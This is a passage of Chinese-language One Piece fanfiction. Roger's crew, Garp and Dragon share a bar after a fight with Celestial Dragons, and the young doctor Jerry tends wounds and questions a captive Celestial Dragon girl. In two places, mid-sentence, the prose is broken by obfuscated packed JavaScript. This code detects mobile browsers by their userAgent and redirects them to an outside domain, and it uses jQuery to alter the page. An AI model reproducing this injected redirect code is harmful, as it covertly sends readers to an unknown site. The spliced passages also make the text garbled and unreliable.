“这位就是我听了不少好话的小茵弗呀,果然很聪明呢,你懂很多姓名起源?” 杰里笑眯眯地感谢,迫不及待地喝了一口。水果清甜的味道在味蕾上绽放,洗去了最后一丝紧张。 面对夏琪的询问,他点点头:“是的,因为我对名字很好奇,所以有读过一些书。您就是夏琪小姐吧,果然和香克斯说的一样漂亮呢!” “诶呀呀,嘴真甜,小香克斯还这么夸我吗?” 香克斯脸红红的,嘻嘻一笑,说出来的话反而是夸杰里的:“杰里说话很好听吧?没人会不喜欢他。” 下一秒杰里就立刻说道:“所以您真的是雷利先生的暧昧对象吗?” 雷利正举着杯子喝酒,闻言猛地呛了一下,咳嗽着在酒吧爆发的哄笑声里狠狠地拽住了那个已经下地准备逃跑的小鬼的耳朵。 “说话好听?就你?” 杰里嗷地叫唤一声,还不忘护着自己手里的杯子,大声狡辩:“您急什么呀!我就是好奇!好奇!” 夏琪也跟着笑,越发觉得这小家伙有意思,她可没错过他们刚进来时他萎靡的样子。 “我们只是酒友哦~小茵弗,以前九蛇海贼团可是帮过罗杰海贼团的大忙呢。” “诶——可是他们说每次见到您雷利先生都很高兴呢。” “那当然了,我可是他身边难得的聪明人,卖他情报都会打折哦。” 罗杰大声拍桌:“喂!夏琪!你是说我们都是笨蛋吗!” 夏琪随意地拍了下他的手,虽然从泛红的皮肤来看力道上应该完全不是看起来的样子。 “把天龙人带到我酒吧里的白痴就闭嘴吧。” 杰里僵了一下,环顾四周,才发现卡座上昏迷的白色身影。 “...天龙人?” 雷利叹了口气,把小孩举起来放到自己腿上坐着,一点点讲述了在杰里他们救人时,另一边发生的事。 卡普上岛的时候,罗杰他们已经把兹瓦罗斯弗打了一顿,身边的CP成员也打了一顿,基地海军也打得差不多了。见到卡普罗杰自然大喜,毕竟他们赶到香波地也有想和对方碰上打一架的意思。 他打爽了,雷利身为副船长就得考虑海贼团的退路。 杰克逊号还没有镀完膜,他们没法直接撤退离开,而在这里拖太久海军总部只会派来更多的增援,大将也会赶来。 所以最后他们默许海军把兹瓦罗斯弗带走,扣押了他的女儿做人质。海军方是万万不敢让天龙人出事的,只能同意谈判,而带队长官卡普就成了负责谈判的人,跟随他们到了夏琪的酒吧。 “所以...您们就在喝酒?海军那边没事吗?” 卡普挥挥手:“没事的没事的,我们谈完了。” 他指了指龙,“正好这小子也在这里。这两天就好好相处吧!” 龙一惊,不可思议地看向父亲。 雷利叹气,解释道:“在我们的船镀膜完成前我们是不会交人的,世界政府同意的要求是卡普必须全程留在我们这边,保证天龙人的安全。” “之后呢?” “之后?”卡普大笑着拍了下大腿,“之后上边会派人过来送她回去,我会用这个借口继续追着你们到新世界去!老子才不回去升将呢!” 龙无奈地捏了捏鼻梁,也算是某种意义上的双赢...吧? 杰里倒是接受良好,只要他们能顺利出航,少打点架也好。想到这里,他又把手套摘了下来,在雷利疑惑的视线里摸了摸他的手。 “好!机会难得,我来听听各位的伤吧!正好练习。” “噢噢噢噢我先来我先来!” “别挤我啊混蛋!我坐的离小医生更近吧!” “我来我来!你那点划伤小茵弗走过来都痊愈了!” 切,一群白痴,雷利紧了紧揽在小孩腰上的手臂。现在这小子可是在我怀里,他听不了罗杰,自己肯定是第一啊。 “副船长!狡猾!” “雷利你这个金发眼镜男!卑鄙!” 在一片嘘声里,雷利帅气一笑,任由怀里的小孩捏着他的手。他没怎么受伤,伤最重的是和卡普对上的罗杰,卡普也是。不过近来船员们都习惯了有点小磕小碰,包括切磋时受的伤都去医务室找茵弗让他练习能力。也不知道有没有效果。 杰里捏了他几下就放开了,无趣地撇撇嘴。 “您健康着呢。” 说完他就跳下他的腿,顺着最近的船员一个个摸了过去。大伙也没怎么受伤,所以除了几个有点小伤口的,杰里很快就听完了。虽然能习惯一下“强大”的不同声音也很好啦,但是练习感很小啊。 很快他就转完一圈,走到了那个小天龙人前。这是他第一次仔细观察天龙人,白色包裹住全身的长袍,头上还有个奇怪的头罩,穿的就像需要无菌环境隔离的病人。 她还晕着,库洛卡斯在他们后面,才刚刚回来,所以不是他用了什么药物。应该就是被打晕了,或者受刺激。 他想摸一下她的手确认一下她的身体状况,却发现对方手上也有一层手套,和外袍连接在一起。 她看起来和珊米差不多大。 他看向同样坐在角落里的巴//雷特,询问道:“她受伤了吗?衣服上有很多血。” 巴//雷特哼了一声:“不知道,没有吧。” “那您受伤了吗?”杰里碰碰他的手,被嫌弃地甩开了。 “没有!区区海军还伤不到我。”他斜了杰里一眼,“你干嘛去了?不是说了战斗的时候你得去吗,躲躲藏藏的耗子?” 杰里没在意他的态度,开始在兜里翻找什么。 “一些孩子,还有大人受伤了,我在那边帮忙。大部分是孤儿,没人送他们去医院。” “弱者是没法生存的,你现在救了他们也没用。” 听到这话,杰里顿了一下,然后从口袋里掏出了什么握在手里,声音没什么起伏地说道:“我曾经也是这么想的,''我现在救了他们也没用''。” 巴//雷特挑了挑眉,等着那个“但是”。对方却没有继续说下去,反而询问他:“巴//雷特先生,您们去把天龙人打了一顿吧。他很强吗?” 穿军装的男人脸都皱了,宛如听到了什么很恶心的话一样。 “哈??” “您总是告诉我,''强者才能拥有一切'',按库洛卡斯先生跟我说的,天龙人就算是拥有一切了。” 他示意了一下身边昏睡的女孩,“被您们狠狠地揍了一顿,还有被夺来当人质,他们很强吗?” “您知道他们杀了多少孩子吗?短短的十几分钟内?他们甚至拥有决定那些人在那一刻生死的权利,不是吗?” 巴//雷特:“所以?等我们走了他们还是会回香波地,你救不了所有人。” 但是当时,雷利说,他们不是0%。 “我很弱,也很自私,不理解生死,在您眼里我就是只老鼠。但是当时我发现,那些都不重要。” “至少那一刻,已经被这些''强大''的天龙人决定了命运的人,因为我在那里,他们可以至少今天不是0%。” 他将手里握着的东西递给巴//雷特,“既然如此,得到了''未知的明天''的他们会怎么样,您不好奇吗?” 巴//雷特手里多了一枚弹头,看起来血迹已经被尽量地擦干净了,只剩下一点干涸的红。 “这是我从一个小男孩肩膀里取出来的弹头,子弹先生。送给您。” ''未知的明天''? 战争无休止国可没有那种东西,即使深夜枪声也不会停歇,每时每刻都有人倒下,再有新的人扑上来,空气中无法消散的硝烟让天空都永远是一种泥泞的黄。 前线的士兵没有''未知''的明天,他们活过今天都是幸运。第二天也只有两种路,要么苟活,要么战死。 巴//雷特的长官,养父,恩人,曾经许诺过他''明天'',用自由一词当诱饵。而他战胜了敌军后收获的却是背叛,和试图用谋杀来兑换的承诺。 ''这是【武器】的命运'' 多么可笑,所以他又毁灭了己方的军队,去到了海上。 他强大,他会给自己一个明天。 面前的小子,他一脚就能踢碎,但也给了那些弱者一个未知的明天,就像是他总念叨的百分比,把0%变成1%。 戏耍天龙人钦定的命运,他也强大吗? 他看着那枚弹头,这老鼠之前也给过自己一个弹壳吧?每次都给这些东西赋予些奇怪的意义,然后就认定它是礼物了也是有够莫名其妙。 不过,鬼使神差地,他他也没有扔掉,虽然只是随便放在箱子里就抛之脑后了。 这次又是什么意义,天龙人不强的证明?拒绝命运的宣告? “您怎么理解都行,先生,那是您的自由。” 两人一时都没有再开口,杰里也不知道巴//雷特想了那么多。他俩关系说好不算,说不好倒也不至于,更像是对方容忍着自己罢了。 等不到巴//雷特说话,杰里耸耸肩,正转身离开时却被叫住了。 “我舱房的医药箱没有绷带了。还有你的破药膏也再拿一点。” 杰里意外地眨眨眼,笑眯眯地回了声“是~” 心情不错地再次回到吧台边,他看到卡普时眼神一亮,加快脚步挪了过去。 “卡普先生!请让我听一听您的伤吧?” 卡普已经从罗杰嘴里听说了这小孩的能力,听到这个请求倒是也没觉得奇怪,只是有一点,“老夫是海军噢?还是把你船长揍了一顿的海军。” 罗杰:“谁揍谁啊,卡普!茵弗,上!你一听就知道我把这家伙砍得有多狠!” 雷利倒是有些担心的提醒道:“你确定吗,茵弗?卡普是受伤了没错,但是他实力很强,你处理得来吗?” 杰里耸肩:“不试试怎么知道?您们不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593045|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在吗,没事的。” 雷利没话说了,都这么信任他们了难道还能继续阻止他吗? 杰里:“卡普先生,您是海军也没什么关系吧?我是医生啊?” 中立吗?即使是在战场上,敌我双方也会避开对医疗人员和传信兵的攻击,这是不成文的规矩。毕竟在活下去和战死之间选,大部分人当然会选前者。尤其是战地医生,往往会佩戴代表中立的臂章,平等地救治双方患者。 有意思,不管这小鬼知不知道这一点,隶属海贼还能这么说本身就很有趣了。 龙也是这么想的,他本来就对茵弗很好奇,即使他比对方大了一轮,想要聊聊的心情也只增不减。 卡普伸出手,却在对方将手放上来前收了回去,笑道:“给你练能力老夫有什么好处啊?” 杰里听出来了对方语气里的玩笑,却还是认真思考了起来。拿一件藏品?请他吃饭?确实自己还要回报点什么才符合礼仪,毕竟对方其实不需要自己的治疗,他目前也是海贼一方的“敌人”。 摸摸口袋,他眼前一亮,掏出了两张染血的游乐园门票。 “给您,先生。谢谢您同意,您可以和龙先生父子一起去香波地乐园。” “你买的?怎么还沾着血啊?” “不,先生,我偷的。啊不过那位小小姐死了,票掉在地上,所以应该也不算偷吧。” 卡普知道罗杰突然袭击天龙人的原因,也知道面前的小医生之前干嘛去了。他沉默了一下,接过了那两张票,用手指摩挲了一下上面的血迹。 “啊,行吧,不知道这样游乐园还收不收啊。” 他再次伸出手,这次没有收回来。 杰里再次感谢后将自己的手放了上去,几乎瞬间就听到了巨大的撞击声。他深吸一口气,闭上了眼睛。 卡普也细细打量着他,自己没有感觉到任何的能力,相当于无形读取信息吗?如果成长起来的话... 身旁的罗杰也放下酒杯,面色严肃地注意着茵弗的情况,准备好不对劲的话就震晕他。虽然卡普伤的不算很重,但是考虑到身体强度的话,那家伙可是个怪物。 半晌后,几人注意力焦点的人终于睁开眼睛,移开了手。除了面色不太好,有些颤抖外好像没什么大碍。 “您、嗯、您很强。但是和罗杰先生不太一样,更像是巨大的鼓...所以很吵...嗯伤就听不太到、所以应该没有大碍...药膏...” 在他摔倒之前,罗杰接住了他,又放到雷利怀里。雷利看他头很痛的样子,伸手替他轻轻揉着额角。 杰里指指自己的医疗箱,示意了一下里面绿色的圆罐。雷利认出来是他常用的那个,对方接过后,又递给罗杰,由罗杰交给卡普。 “就剩一点了、送给您,一天、涂两次、不缝合的小伤口。” 说完他就不吱声了,蜷缩在雷利怀里。这一天的疲惫到底找上了他,或者说就没有离去过,卡普的伤只是最后一根稻草。这太失礼了,可是他好想睡觉。 “喂,罗杰,你用过吗,这个药膏?” 雷利的注意力被卡普拉了过去,对方皱着眉头,挽着袖子,应该是刚刚就试了一下茵弗给的药。 “没有,平常都是他自己用吧?平常有点小伤他听完之后也只是让大伙去医务室处理。怎么,你怀疑我们家小黑的药?小心我揍你啊。” 卡普啧了一声,直接挖了一团膏体蹭在罗杰脸上的淤青上。 “啊!......啊?” 雷利看着罗杰的反应,疑惑地挑眉。 卡普:“这玩意,超好用的啊,但是、” 罗杰也扭头看向他:“但是涂上超痛。” 雷利有些惊讶,毕竟茵弗就算在自己面前使用也没有露出来过什么吃痛的神色。他低头看向怀里的小孩,却发现人家早就睡着了。 他看向一直注意着这边的库洛卡斯,对方果然嘴角撇的不能更低了。示意对方过来后,库洛卡斯只是说,他也是今天才知道茵弗医疗箱里的药只能说是非常好用,缺点就是毫无患者关怀,甚至有副作用。他看向罗杰:“你记得吗,库蕾哈说过的话?” ''剔除'' 和 ''医疗'' 并不一样。 他指指卡普手里的罐子:“将细胞活性提到一个不可思议的程度,当然很疼,你的细胞在迅速死亡再生。” 副作用呢? 库洛卡斯看了雷利一眼,重复道:“迅速死亡再生——过于迅速了。” 几人沉默了一会儿,脑子里想着不同的事情。 一直默默观察的夏琪突然开口:“真是个混乱的孩子。” 中立?还是混乱? 库洛卡斯点点头:“我发现了之后,香克斯跟我说茵弗好像不怎么怕疼,不管是和巴//雷特那次,还是后面受伤。现在看来与其说他坚强,不如说他不太在乎吧。” 也是,毕竟他听不到自己身体的病痛。比起''痛'',他好像更怕''吵''一点。 雷利叹口气,起身将怀里的孩子送到了睡着的实习生们身边,将三个人铺在卡座里。 今天他们都做的很好,也都累了。虽然为茵弗的成长而欣喜,但果然问题还是很多啊,一个接一个的冒出来,倒是蛮符合罗杰海贼团的作风。 等他接过罗杰递来的酒杯,坐回他和库洛卡斯之间时,卡普也停止了对自己伤口的观察。只是短短一会儿,看起来就好多了。 “他的能力,在他成长起来之前最好还是别到处透露了。” 龙也点点头:“世界政府知道了的话,会很麻烦。” “哦?准大将和海贼说这种话?” “什么海贼啊,你没听那小子说吗,人家是医生!老夫也只是小小的中将而已!” 雷利也笑了:“路还很长啊。我就说你从希鲁鲁克那接过来个小麻烦吧?” 罗杰:“罗杰海贼团可不怕麻烦,我可是答应了要等他的,不着急。” “也就你不着急了吧?” 氛围又轻松了起来,雷利,罗杰和库洛卡斯有一搭没一搭地说着话,分析分析新发现的信息。面对船上的小医生,就像在一层层挖开厚厚的泥土,但是他们都确信其下掩埋着无比的宝藏。 对海贼们来说,这确实算不上麻烦,甚至令人无比期待。 卡普随便地将手边的罐子揣到怀里,也没打扰说话的三人,掏出那两张游乐园门票在自家儿子眼前晃了晃。 “走,龙,老爸带你去游乐园。可不能辜负了这两张票。” 18.对话天龙人 杰里醒来的时候,对着陌生的天花板发了会呆,好半天才从楼下断断续续传来的吵闹中判断出自己应该是在敲竹杠酒吧楼上的房间里睡了一觉。 他移开香克斯搭在自己身上的胳膊,又给他和巴基掖了掖被子。然后随便在卫生间洗漱了一下就打着哈欠走下楼,想看看他们在吵什么。 “本宫命令你现在就送本宫回去!” 杰里在楼梯口停下脚步,昨天发生的事情终于随着这声尖叫全部涌回脑海,让他不由自主地揉揉眉角。 他现在回去睡觉还来得及吗...真是不想大早上的就开始动脑筋啊...... 他的胃大概是不同意他的想法吧,抗议地咕噜噜叫唤了两声。杰里叹了口气,还是拖着脚步走下楼梯。 酒吧里还是老样子,不过船员少了很多,只有零星的几个一脸宿醉的表情七扭八歪地坐着吃早餐。 阳光懒洋洋地在地上铺成几块,空气里弥漫的煎培根味道让杰里精神一振,估算着自己怎么能鬼鬼祟祟地溜到柜台后面去。 不过还没实行,自己就被抱着腋下提了起来,对上一张笑嘻嘻的脸。 杰里也微微一笑,伸手摸了摸对方的胡子。 “早上好,罗杰先生。” “哦!起来的很早嘛小黑!” 罗杰一路把他提溜着放在吧台边,夏琪正好放下一盘早餐,又倒了一杯牛奶。 “早上好,夏琪小姐,您今天也很漂亮。” 夏琪笑得眼睛弯弯的,往他面前的盘子里放了一块烤的焦黄的吐司。 “啊啦啦,你今天也很可爱呢小茵弗。” 吐司被稍微烘烤后散发出来的麦香让他整个人都好起来了,掰下边角时外皮清脆的吡哩声简直就是天堂的铃铛。 他将撕下来的吐司在牛奶里沾了一下后塞到嘴里,幸福地捧着鼓鼓的脸颊。 “小屁孩~” 说吧说吧,一群海贼也不知道换个词,他都听腻了。 杰里没搭理罗杰,只是又撕下一块在牛奶里泡泡,递到对方嘴边。 切~吃的时候倒是很干脆嘛。 雷利在一旁端着一份报纸,身边的咖啡冒着热气,白了他们一眼。 和这边其乐融融的氛围相反,角落里的卡普觉得自己脑袋都要炸了,所以说天龙人就是麻烦!! “本宫才不吃这些东西!父亲大人说了,下界的食物都是脏的!” 卡普也想翻白眼,圣地的食物来自于哪啊?这群人是真的没脑子吗? 他从善如流地将小女孩面前的盘子端到自己面前,大快朵颐了起来,一边咀嚼一边大声地说:“反正就是这样!在海贼走之前你被他们扣押了,老夫奉命这段时间呆在你旁边以防他们杀了你,所以你得跟老夫去游乐园!” “大胆!!本宫都命令你了!去把他们都杀了,然后立刻送本宫回玛丽乔亚!” 小天龙人不明白,她跟着父亲下界学狩猎,怎么就突然冒出来一群贱民把父亲和护卫都打了一顿。而领头的那个黑头发拿刀的瞪她一眼,她就晕了。 醒过来的时候身边没有父亲,也没有奴隶,只有一个海军老头说自己这两天都不能回去,还要跟他去什么游乐园。 她明明都命令他了,他为什么不听话? 龙在一旁无比疲惫地叹气,昨天父亲就说要跟他去游乐园,把茵弗小医生给的两张票用掉。 考虑到父亲身上有伤,而且上头的命令是要他时刻守在天龙人身边,海军的大英雄眼珠子一转,就想出了等小天龙人醒来,带着她一起去的''好主意''。还美名其曰不违反军令的休假。 带着天龙人休假?龙又叹了口气。 “露娜茜茜雅宫,请您配合,这确实是五老星的命令。” “不、不可能的、呜、”小天龙人一撇嘴,呜地一声就开始流眼泪。 卡普只是扣扣耳朵,咽下最后一块煎蛋后弯腰拿出一个购物袋,从里面翻出两个印花衬衫比来比去。 “记得换衣服,你可不能穿这身萝卜服去。” 面对露娜茜茜雅震惊的眼神,他亮出自己雪白的牙齿,爽朗地说道:“老夫可不想惹麻烦。” 杰里吃完饭,正感谢地赞颂夏琪的手艺的时候,就被角落里突然放大的哭声吓了一跳。 罗杰也捂住耳朵,呲牙咧嘴地说卡普真是不会看小孩儿。 虽然雷利很想说你也不怎么会,瞟了正在戴手套的茵弗一眼,还是把这句话咽了回去,换了个话题。 “你昨天穿的卫衣没法要了,本来就是白的,血也洗不干净。”他示意了一下卡普身旁的其他购物袋,“镀膜期间不好回船上,斯宾塞去给你买了几件新的,虽然就穿衬衫也没事,你怕冷就还是再套一件吧。” 杰里很夸张地将手放在额头上做了个感动到晕的动作,在雷利的白眼里笑眯眯地跳下椅子,一蹦一跳地跑到卡普身边去了。 “他心情倒是怪好...”雷利嘀咕一句,又抖抖自己手里的报纸。 本来还担心经过昨天的事情他醒过来得癔症一会儿呢,更别提还有个小天龙人在。 所以他拜托夏琪烤了片吐司,也随便罗杰跟茵弗犯傻。 不知道是不是真的有效果,至少现在看来还不错。 罗杰:“别担心啦,雷利,都说了,他可是杰克逊号上的孩子。” 一个红色的脑袋飘过来,睡眼蒙眬地揉着眼睛:“什么杰克逊号有孩子?” “哦!起来了啊香克斯!巴基!” ““早上好,船长。”” 两个小实习生也坐在了吧台边,吃上了夏琪端过来的早餐。香克斯嘴里塞满培根,断断续续地说:“哭得很吵就醒了...杰里不在...下来找。” 哭声已经停了,雷利转身看去,发现茵弗手里抱着一件白色的外套,好像在跟那个小天龙人说什么。而对方满脸通红,还挂着泪痕,一副想要反驳又不知道怎么说的憋屈样子。 看来确实是不用担心了吧,雷利心情不错地端起咖啡喝了一口。 露娜茜茜雅顾不上哭了,刚刚的委屈,恐惧,和震惊全都在面前的家伙几句询问后就被她遗忘了。 “所以,露娜茜茜雅宫,您为什么不能去游乐园?” 杰里本来只是想过来拿个衣服的,但是看到龙严肃的神情难得露出了一丝头疼,就好奇地打了个招呼,又在他的三言两语后了解了事情的缘由。 不得不说卡普先生的思维真的是...真的是...太值得令人学习了! 当然,他没有对龙这么说,只是好奇地随嘴问了一句,为什么天龙人不愿意去游乐园。 然后那个小天龙人就开始昂首挺胸地说什么他们是神的后裔,才不能踏足贱民游乐地方。 听到神这个字眼他下意识挑了挑眉,仔细打量了一下对方。 既然''贱民''都能去,神之后裔不应该更能去了吗?圣地如果因为这种原因连游乐园都没有的话也太可悲了吧,不是连''贱民''的娱乐多样性都不如吗? 对方到底是比他还小几岁,又是第一次敢有人这么跟她说话,露娜茜茜雅一下子懵住了,变成了雷利口中一脸憋屈的样子。 卡普抓住杰里的脑壳晃晃:“什么多样性?你这小鬼哪学来的这么多词。” 杰里坦然:“船上大伙儿想下岛找女性喝酒,找雷利先生要钱的时候是这么找借口的。我其实不太懂,但是大概就是需要除了和男性喝酒外更多的选择吧。” 也许是听到他说他也不太懂,坐在对面的小天龙人又鼓起勇气,大声地反驳他。 “只有贱民才喜欢那些娱乐!” 杰里的视线又转向她,疑惑地歪头:“谁说的?” “我父亲大人!” “可我问的是您?” 见对方又卡壳了,他继续问道:“您试过吗?用飞镖扎气球,然后获得最大的玩偶;过山车就像飞起来一样,让人肾上腺素升高,心脏像小鸟一样跳;高大的摩天轮慢悠悠地带您摘白云,整条街在眼里变小又变大?” 杰里摘下早上洗脸时用来随便夹起头发的发夹,上面的血早就被他洗净了。 他将它举到对方眼前,上面糖果形状的装饰在阳光的照射下闪出绚烂的光。 “您试过吗?五彩的棉花糖一点点地被卷起来;用手捧着热乎乎的夹着香肠的面包;即使很烫也一定要一口吃下的,绵软鲜香的章鱼烧?” 露娜茜茜雅拍开他的手,倔强地尖叫道:“你居然这么跟本宫说话!本宫想要什么会有奴隶拿给我的!”她指指看戏的卡普,“这个老头居然敢不听本宫的话!还想让本宫穿你们贱民的衣服!” 杰里:“谁说我们是贱民的?” “我父亲大人!” “您知道这个词什么意思吗?” 露娜茜茜雅又卡壳了,这种东西谁知道啊?大人教她这么说她就这么说了,父亲只告诉过她他们是神的后裔,下界的人是贱民,他们生来就是不同的。 杰里:“为什么?” “因为...因为...” 杰里没管她,他又从袋子里翻出来一身小巧的连衣裙,嫩粉色的裙身和浅绿的裙边配上柔软的质感,简直就是可爱的郁金香变的衣服。 斯宾塞先生还是一如既往的很时尚。 他将它展开在露娜茜茜雅眼前:“好看吗?” “不好看!贱、贱民的衣服有什么好看!” 于是杰里又念出那句在她耳里宛如恶魔低语般的话:“您试过吗?” “您试过除了白色以外的颜色吗?斯宾塞先生说每个人都有自己的颜色,但是库洛卡斯先生说天龙人出生就穿一样的衣服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600283|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您不好奇别的颜色吗?” 他拂起裙摆,又让它柔软地垂下,带起一点粉嫩的波浪。 “这种面料很舒服哦,配色会让您看起来像一朵可爱的花。您试过吗?做一朵花?” “天、天龙人不能...”露娜茜茜雅的声音低下去了,脸上又浮起恐慌的神色。 杰里只是耸耸肩,将那件裙子和手里的发夹一起放在了桌边。 他其实无所谓她怎么样,不过通过她也略微解了一些天龙人的思考模式呢。真是,可以决定他人生死,却连自由的思维都没有啊。 他想起昨天那个不断开枪咒骂的男天龙人,他是露娜茜茜雅的模具,谁又是他的呢? “感谢您满足我的好奇心,我失礼了,将谈判桌还给卡普先生吧。” 说完他就离开了,迫不及待地跑到自己醒来的弟弟们身边。话说昨天救人的时候他俩叫了自己好几次哥哥,真是爽诶—— 年幼的露娜茜茜雅晕乎乎的,杰里离开前的神情她不明白叫做怜悯,从来没人这么看过她,她也没在身边的人脸上看到过那种表情,她只知道自己不舒服。 盯着那件裙子,她感到自己在颤抖,如果不赶紧回到父亲身边,她一定会变成一千块碎片。 卡普和龙沉默的看完了这场交流,片刻后,卡普发出了一阵大笑。 “卡普又怎么啦——”罗杰夸张地捂住耳朵,做出嫌弃的表情。 杰里笑眯眯:“谁知道,不过听起来很有精神啊。” 雷利:“你跟小天龙人说什么了?” “没说什么啊,问了她几个问题,她答不上来。”他抖开手里的外套,准备也仔细欣赏一下斯宾塞给他选了什么样的衣服,毕竟那件裙子真的很好看,“您知道吗?她和亨姆岛上的人某些方面有点像呢。” 雷利挑眉:“这样吗?” 面前的小子注意到手里衣服上的猫耳造型后僵了一下,雷利觉得好笑,斯宾塞和贾巴总是在为了茵弗更像猫还是狐狸一点吵来吵去的。 这算什么偷摸摸的心理暗示吗? “好幼稚...” 杰里一脸牙疼的表情穿上了这件外套,戴上帽子后用手摸了摸上面的猫耳,居然还是立起来的... 香克斯:“很可爱啊,哥哥。” “!真、真的吗。” 杰里瞬间明亮了,雷利也终于忍不住笑了出来。 被可爱的弟弟夸了的人才不管他,飘忽忽地抱住了香克斯的脑袋蹭蹭,又在他脸上亲了一下。 香克斯小狗尾巴都甩起来了,有点不好意思地摸摸脸颊,好奇地问道:“什、什么呀,杰里?昨天也见你亲朱尼尔他们呢,也是你姐姐教你的吗?” 杰里又走到看起来有点羡慕的巴基身边,在他可爱的鼻子上也亲了一下。 “差不多吧~在亨姆岛上,亲吻脸颊有祝福的意思,如果是圣徒赐福的话会亲额头。不过米森在夸奖我呀,安慰我呀,鼓励我呀等等时候都会亲我,因为她是姐姐吧?” 罗杰也笑嘻嘻地凑过来,指指自己的额头:“那你也给我赐福吧,小圣人?” 杰里也没有不好意思,踮起脚亲了亲他。 “我不是圣徒哦,罗杰先生,所以大概亲哪里都是一样的。” “诶,我也很寂寞呀小茵弗~” “当然了,夏琪小姐。”杰里钻到吧台后面,又亲了亲夏琪。 等所有人看向雷利的时候,他只是把面前的报纸举高了一点,遮住了他们的视线。 罗杰:“别害羞啊,雷利!” 夏琪:“居然会拒绝小医生的祝福吗?真是没品的男人呀。” 香克斯:“雷利前辈不需要的话,杰里你把他的份给我吧!” 巴基:“喂喂不是这么算的吧...” 就在罗杰又把杰里拎起来努力往雷利脸上凑的时候,龙走过来打断了他们的嬉闹。 “打扰了你们了,不过我和父亲一会儿要出发了,我想邀请三位少年一起去,我来买票。”他指了指还在桌边的小天龙人,“而且,那位需要夏琪小姐的...帮助,换一下衣服,麻烦你了。” 夏琪只是挥了挥手,优雅地从吧台后面走出来:“加钱哦。” 真帅气。杰里感叹了一声,香克斯又凑过来问他要不要去游乐园。 他思考了一下,摇摇头:“你们去吧,我想去不法地带。” 香克斯:“诶?是要去看看那些小孩吗?那我们也去帮忙。” 杰里只是将他推向龙的方向,再次拒绝了他:“不,你和巴基昨天就很期待了吧,今天就去好好玩,我等着你们回来给我讲有趣的故事。” 他从吧台后拉出自己的医疗箱,打开检查了一下。看到一个眼熟的瓶子后又开口道:“给我带点纪念品?泡泡什么的果然还是很有趣啊。” 19.医生打人了 “那些贱、贱民见到我为什么不下跪!” 露娜茜茜雅用手捂住口鼻,闷闷地说。 父亲说了,下界的空气是脏的,她本来身体就不好,一定会生病的! 没人回答她,红色和蓝色的家伙手里油乎乎地拿着什么吃,那个老头和没眉毛的家伙也只是自顾自的聊天。她已经快跟不上他们的步伐了。 “喂!本宫在跟你们说话呢!” 还是没人回答,只有那个没眉毛用奇怪的眼神看了她一样,然后示意身边的人放慢了脚步。 她又饿又累,自从下界她还没吃过东西,身边又没有奴隶可以骑,她就算要求也只会被拒绝。 被拒绝!她!天龙人! 手捂在脸上只让自己呼吸更困难了,而且附近小摊上的食物香气还是顺着指缝钻进来。 明明是脏的东西怎么会有这么美味的味道? 游乐园里的人也是,夸她可爱,还要送给她泡泡气球,向她宣传哪个项目最好玩,自己摊子上的章鱼烧最好吃,笑容里没有恐惧或敬畏...简直、简直就像是换个衣服她就跟下界的贱民一样了。 可是父亲,我们不是生来就不同吗? 露娜茜茜雅眼睛红红的,泡泡里映出数不清的自己,和人群混在一起,乱七八糟地飞往天空,然后一同破碎。 泡泡抵达不到的地方就是圣地玛丽乔亚,她的家。 圣地... “等本宫回去了,要让父亲大人把你们全都抓起来做奴隶!特别是那个黑皮肤的贱民!” 话刚出口的下一秒,她就感到自己被什么野兽盯上了,后背冒出冷汗。 她抬起头,不是那个老头...不是没眉毛...是...是红色和蓝色的家伙 。 “你再用那个称呼叫杰里一次,我真的会揍你的。” 香克斯冷冷地说,巴基也在一旁不耐烦地咂了下嘴。 “本大爷还以为平时那家伙讲话满嘴礼貌就够讨厌了呢...” 香克斯有些烦躁地把手里包肉卷的纸团成一团——早知道就不来了。 他和巴基是很期待没错,但是他们以前就来过香波地乐园,所以这次与其说是期待来玩,不如说是期待带着杰里一起玩。 但是杰里想让他们给他带纪念品,他知道他很喜欢一些有趣的小玩意。 之前知道新年是杰里的生日却没告诉任何人的时候,他们可是狠狠闹了一通的。 所以这次和巴基商量好,除了回去前再帮他装一些泡泡树脂之外,两个人要好好选游乐园里最棒的纪念品给他做礼物。 但是海军现在还是高度戒备状态,他们不能乱跑惹麻烦。 虽然龙有给他们买票和吃的,而且和海军炫耀杰里的各种厉害感觉也不差,但是果然还是应该等杰里一起来的。 露娜茜茜雅被他俩吓到了,下意识地瑟缩。阳光晃过她的头发,在香克斯打量的视线里闪了一下。 他突然走过来,指了指她头上的糖果发夹:“那不是杰里的吗?” “他、他放在桌上了...” 香克斯伸出手,示意她交过来:“那你也不能戴,还给我们。” “为什么...” “别跟她废话了,香克斯。”巴基也走过来,直接伸手取下那个发夹,在自己的裤子上擦了一下。 香克斯也没回答她,掏出用剩的纸巾把它包起来放到口袋里,就和巴基扭头离开了。 卡普只是大声告诉他俩给他带一份甜甜圈回来。 “那个小子还喜欢那种小丫头戴的东西啊?怪宝贝的。” 龙一边扶着露娜茜茜雅到长椅上休息,一边头也没抬地回答父亲:“那个发夹好像是昨天被射杀的一个女孩的遗物吧,他不一定就是喜欢这些。” - “我很喜欢,谢谢你珊米~” 杰里头上夹着一个带小花的旧发夹,亲昵地给了脸红红着感谢他的小姑娘一个拥抱。 棚屋里仍然光线昏暗,但是充盈的炖菜香气驱散了这里常年弥漫的黑影,而孩子们大口吃饭的声音也是铁皮墙壁鲜少听过的乐曲。 